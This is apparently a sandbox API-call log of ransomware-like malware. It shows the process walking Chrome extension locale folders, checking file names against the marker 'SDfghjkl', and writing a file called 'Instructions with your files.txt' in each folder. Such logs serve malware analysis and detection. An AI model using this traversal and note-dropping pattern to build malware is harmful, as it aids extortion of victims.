[0129.673] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.673] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.673] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\Instructions with your files.txt") returned 174
[0129.674] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.674] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.675] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.675] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.675] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.675] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.675] CloseHandle (hObject=0x134) returned 1
[0129.675] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.675] GetProcessHeap () returned 0x810000
[0129.675] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.675] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_CA", cAlternateFileName="")) returned 1
[0129.675] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA") returned 144
[0129.675] GetProcessHeap () returned 0x810000
[0129.675] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.675] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*") returned 146
[0129.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.677] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\.") returned 146
[0129.677] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.677] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\..") returned 147
[0129.677] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.677] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 158
[0129.677] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.677] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.677] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\Instructions with your files.txt") returned 177
[0129.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.677] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.678] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.678] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.679] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.679] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.679] CloseHandle (hObject=0x134) returned 1
[0129.679] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.679] GetProcessHeap () returned 0x810000
[0129.679] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.679] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
[0129.679] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl") returned 141
[0129.679] GetProcessHeap () returned 0x810000
[0129.679] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.679] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*") returned 143
[0129.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.679] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\.") returned 143
[0129.679] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.679] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\..") returned 144
[0129.679] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.679] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 155
[0129.679] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.679] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.680] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\Instructions with your files.txt") returned 174
[0129.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.680] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.681] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.681] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.681] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.681] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.681] CloseHandle (hObject=0x134) returned 1
[0129.681] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.681] GetProcessHeap () returned 0x810000
[0129.681] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.681] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1
[0129.681] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu") returned 141
[0129.681] GetProcessHeap () returned 0x810000
[0129.681] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.681] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*") returned 143
[0129.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.682] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\.") returned 143
[0129.682] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.682] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\..") returned 144
[0129.682] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.682] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 155
[0129.682] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.682] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.683] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\Instructions with your files.txt") returned 174
[0129.683] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.683] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.684] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.684] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.684] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.684] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.684] CloseHandle (hObject=0x134) returned 1
[0129.684] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.684] GetProcessHeap () returned 0x810000
[0129.684] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.684] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
[0129.684] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi") returned 141
[0129.684] GetProcessHeap () returned 0x810000
[0129.684] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
